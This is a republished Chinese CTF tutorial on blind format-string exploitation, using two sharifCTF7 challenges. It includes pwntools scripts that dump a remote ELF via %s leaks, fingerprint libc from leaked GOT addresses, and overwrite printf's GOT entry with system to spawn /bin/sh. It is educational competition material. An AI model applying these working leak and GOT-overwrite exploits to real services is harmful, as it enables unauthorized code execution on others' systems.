Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】格式化字符串漏洞利用小结(二)

$
0
0
【技术分享】格式化字符串漏洞利用小结(二)

2017-03-31 10:03:06
来源:安全客 作者:tianyi201612

阅读:358次
点赞(0)
收藏





【技术分享】格式化字符串漏洞利用小结(二)

作者:tianyi201612

稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【技术分享】格式化字符串漏洞利用小结(一)

【CTF攻略】格式化字符串blind pwn详细教程


1、无binary的格式化字符串漏洞利用

无binary的格式化字符串漏洞赛题一般都只给一个远程地址,根据这篇文章(http://bobao.360.cn/ctf/detail/189.html)可知,这种题目叫“blindpwn”(那这里就是“blindformatstring”了),有点sql注入里面盲注的意思,挺好玩的。

这里选用sharifCTF7来举例,因为这个CTF的服务端至今还开放着,并且提供了三道从易到难的无binary格式化字符串漏洞利用题目,有兴趣的可以尝试一下。这三道题目也将格式化字符串漏洞利用的两种主要方式体现了出来,即“读取数据以泄漏信息”和“写入数据以获取控制权”。


2、sharifCTF7-Guess(pwn50)

ncctf.sharif.edu54517

这题是将flag直接放置在栈中,用户可以输入format字符串并返回相应信息。通过构造类似“%x*n”这样的输入即可获得栈中的n字节信息,从而将隐藏在栈中的flag直接拿到。

通过输入%1$p可知目标系统是64位,然后使用%k$lx并一直增加k值。当k=136时,输出5443666972616853,hex转码后即为“TCfirahS”,说明马上就到flag了,继续增加k,结果如下。

1365443666972616853TCfirahS 1373832346435617b46824d5a{F 1386237636363323336b7ccc236 1396136633735336466a6c753df 14035613837613832315a87a821 14100007ff6007d6338}c8 Flag:SharifCTF{a5d428632ccc7bfd357c6a128a78a58c}

3、sharifCTF7-NoMoreBlind(pwn200)

ncctf.sharif.edu54514

这题可以无限次输入字符串,每次均可得到反馈。通过输入“%3$p%4$p”进行测试,我们可以确定目标系统是32bit的,且偏移为4。本题的flag不在栈上,需要通过getshell来寻找,主要思路如下:

通过格式化字符串漏洞,利用%s将目标ELF文件dump出来;

分析并修复返回的ELF文件;

通过逆向ELF文件,了解程序的基本流程以及所用libc函数的GOT以获得system函数的实际地址;

将system函数地址写入printf函数的GOT表项处;

通过输入“/bin/sh”,利用已被改为system地址的printf来获得shell。

3.1 利用格式化字符串漏洞dump出ELF

先给出代码吧,此代码修改自其他人的,特此说明。

frompwnimport* defleakELF(addr): p=None foriinrange(5):#多循环几次,放置连接中断 try: p=remote("ctf.sharif.edu",54518,timeout=1) payload="ABCD%7$sDCBA"+p32(addr) if("\x0a"inpayload)or("\x00"inpayload): log.warning("newlineinpayload!") return"\xff" p.sendline(payload) printp.recvline() data2=p.recvline() log.info(hexdump(data2)) ifdata2: fr=data2.find("ABCD")+4 to=data2.find("DCBA") res=data2[fr:to]#定位出泄漏的数据位置 ifres=="":#说明要泄漏的数据就是\x00 return"\x00" else: returnres return"\xff"#如果出现异常,先返回\xff exceptKeyboardInterrupt: raise exceptEOFError: log.debug("gotEOFforleakingaddr0x{:x}".format(addr)) pass exceptException: log.warning("gotexception...",exc_info=sys.exc_info()) finally: ifp: p.close() return"\xff" f=open("nomoreblind-binary","wb") base=0x08048000 leaked="" whilelen(leaked)<8000:#假设目标ELF小于8kb address=base+len(leaked)#新的泄露地址等于基地址加上已泄漏的长度 tmp=leakELF(address) leaked+=tmp log.info(hexdump(leaked)) withopen("nomoreblind-binary","wb")asf:#将已泄漏的数据写入文件 f.write(leaked)
【技术分享】格式化字符串漏洞利用小结(二)

由于是32bit程序,一般起始于0x08048000,故我们将此处设置为泄漏的起始地址。泄漏的方式就是利用格式化字符参数%s,payload是"ABCD%7$sDCBA"+p32(addr),ABCD和DCBA是为了定位返回的数据位置,而我们要泄漏信息的地址(即p32(addr))位于偏移位置7。我们这里假设目标elf大小是8kb,其实没有那么大,视情终止即可。在上面的代码中,我们通过自定义的leakELF函数,每次泄漏一段数据,并记录数据长度,以便下次从该长度之后继续泄漏。代码中还需要解释的几点是:

leakELF中的for循环是为了防止连接服务器出错,毕竟要泄漏的数据量较大;

如果payload中出现0x0a,则会造成截断(接收函数是fgets),直接返回none;

如果返回的ABCD与DCBA之间没数据,则设置返回数据为\x00;

如果直接出现异常或无返回,则设置返回数据为\xff。

整个泄漏的时间会比较长,慢慢等吧,大概到4kb左右的时候,其实就已经完成了,因为出现了新的ELF头(\x7f454c46)。这个其实没有特别的标志,只能说毕竟是比赛,binary不会太大,感觉差不多,拿出来分析一下就知道了。

3.2 修复ELF文件

由于我们在dump脚本中填补了一些\xff,故需要大概修补一下,比如文件的第一个字节,就要从\xff改为\x7f。通过010Editor的ELF文件模板,我们可以比较方便地修补ELF文件。涉及到ELF文件格式的问题,这里就不多说了,大家可以参考其他文章,主要把文件头修改好就差不多了。当然,修改了之后也是不能运行的,毕竟从内存中dump出来的ELF与可执行文件在区段大小等方面还是不一样的。


【技术分享】格式化字符串漏洞利用小结(二)

3.3 逆向ELF文件

上面的ELF文件已经可以借助IDA进行逆向了,F5后得到的伪代码如下。


【技术分享】格式化字符串漏洞利用小结(二)

上面就是main函数,虽然并没有把所有库函数名称都关联出来,但主程序毕竟很短,很容易猜出逻辑关系。程序首先利用setvbuf函数设置了输入输出,然后设置alarm函数参数为60秒;进入while无限循环后,用fgets来接收输入,并用printf进行输出。

结合汇编代码以及ELF中的函数名字符串(fflush、exit、printf、fgets、strlen、alarm、setvbuf),我们就能将它们对应起来,比如:

setvbuf:plt是0x08048490,got是0x08049980(在IDA中跳到sub_08048490即知);

alarm:plt是0x08048440,got是0x0804996c;

printf:plt是0x08048400,got是0x0804995c。

3.4 获取libc函数地址

本题既没有提供程序的binary,更没有提供对应的libc文件。在这种情况下,我知道的方法有两种:

采用DynELF暴力搜索

利用libcdatabase或libdb查询

我参考的writeup作者就是用的第一种方法,但我始终没成功,即使和作者沟通后得到了他的脚本也不行,感觉是网络连接不稳定;而第二种方法更是没有达到目的,应该是由于内置的libc库文件不全导致的。

考虑到第一种方法中,pwntools其实也是通过获取目标libc中的特征字符串来比对自身服务器中的libc文件以确定版本,那是不是可以干脆将pwntools所依赖的所有libc库文件都下载下来,然后再借鉴第二种方法,将这些库文件导入到libcdatabase中,利用该工具已有的功能,通过GOT表泄漏的libc库函数地址的后12bit来缩小并确定版本范围呢?

按照这个思路,我首先写了个脚本,根据pwntools中的md5文档(https://gitlab.com/libcdb/libcdb/tree/master/hashes)将对应的libc文件都下载了下来。截至目前所有pwntools中的libc文件url我也保存在了附件中,共6000多个。当然,pwntools中的libc库也是动态更新的,未来还会添加新的libc文件,大家可以继续搜索并扩充至自己本地。

然后,我使用libcdatabase内置的add功能脚本,将上述所有libc文件都导入了进去。由于该功能会解析每个libc文件,故时间比较长,但一劳永逸,以后就可以直接用find功能脚本来快速查找比对了。当然,如果有哪些libc文件没有导入进去,我们也可以直接用pwntools的ELF模块来解析并比对后12bit。

通过以上工作,结合泄漏出来的printf函数实际地址的后12bit(即0xc70),我们可以匹配到很多libc文件,如下图所示,如libc6-i386-2.19-18+deb8u3-lib32-libc-2.19.so;再用alarm等其他库函数的后12bit进一步校正,即可获知最终版本,从而获取到相应偏移,具体见下面的代码。


【技术分享】格式化字符串漏洞利用小结(二)

3.5 获取shell

得到了libc版本,我们就可以确定各个库函数的偏移,从而可以得到system函数地址,并借助格式化字符串漏洞用其替换掉目标程序GOT表中的printf地址。当目标程序进入下一次循环后,我们用“/bin/sh”作为输入,由于此时printf的GOT地址处其实保存的是system函数地址,则调用printf(“/bin/sh”)时,其实就是调用的system(“/bin/sh”),shell也就获取到了。

通过《格式化字符串漏洞利用小结(一)》,我们比较深入的理解了格式化字符串漏洞的原理与手工构造payload的方法。这时,也可以通过pwntools的fmtstr_payload功能来简化格式化字符串漏洞利用,不用再自己一点一点小心地构造payload,而交给pwntools来自动完成。

具体使用的就是如下函数。

fmtstr_payload(offset,writes,numbwritten=0,write_size='byte')

第一个参数表示格式化字符串的偏移,这里已经知道是4;

第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};

第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;

第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

fmtstr_payload函数返回的就是payload,具体结果你可以print出来看看,和你自己手工构造的一不一样。

以下就是具体的利用代码。

frompwnimport* importbinascii p=remote("ctf.sharif.edu",54518,timeout=1) printfGOT=0x0804995c printfOffset=0x4cc70 systemOffset=0x3e3e0 p.sendline("%5$s"+p32(printfGOT)) printp.recvline() data=p.recv() printfAddress=data[0:4][::-1] printfAddress=int(binascii.hexlify(printfAddress),16) systemAddress=printfAddress-printfOffset+systemOffset print"printf:",hex(printfAddress) print"system:",hex(systemAddress) payload=fmtstr_payload(4,{printfGOT:systemAddress}) p.sendline(payload) printp.recvline() printp.recv() p.sendline("/bin/sh") printp.recvline() p.interactive()

4、参考文章

http://bobao.360.cn/ctf/detail/189.html

https://losfuzzys.github.io/writeup/2016/12/18/sharifctf7-guess-persian-nomoreblind/

https://github.com/irGeeks/ctf/tree/master/2016-SharifCTF7


5、附件

https://pan.baidu.com/s/1kV5aqsn


传送门

【技术分享】格式化字符串漏洞利用小结(一)

【CTF攻略】格式化字符串blind pwn详细教程



【技术分享】格式化字符串漏洞利用小结(二)
【技术分享】格式化字符串漏洞利用小结(二)
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3674.html

Viewing all articles
Browse latest Browse all 12749

Trending Articles